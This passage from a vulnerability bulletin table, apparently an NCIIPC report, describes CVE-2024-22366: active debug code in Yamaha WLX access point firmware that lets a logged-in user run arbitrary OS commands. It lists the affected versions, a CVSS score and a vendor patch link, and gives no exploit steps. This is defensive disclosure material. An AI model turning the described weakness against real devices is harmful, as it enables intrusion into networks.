Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			operations. As a result, an arbitrary OS command may be executed and/or configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		
Product: wlx413_firmware					
Affected Version(s): * Up to (excluding) 22.00.06					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	O-YAM-WLX4-090224/3149

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			performing specific operations. As a result, an arbitrary OS command may be executed and/or configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		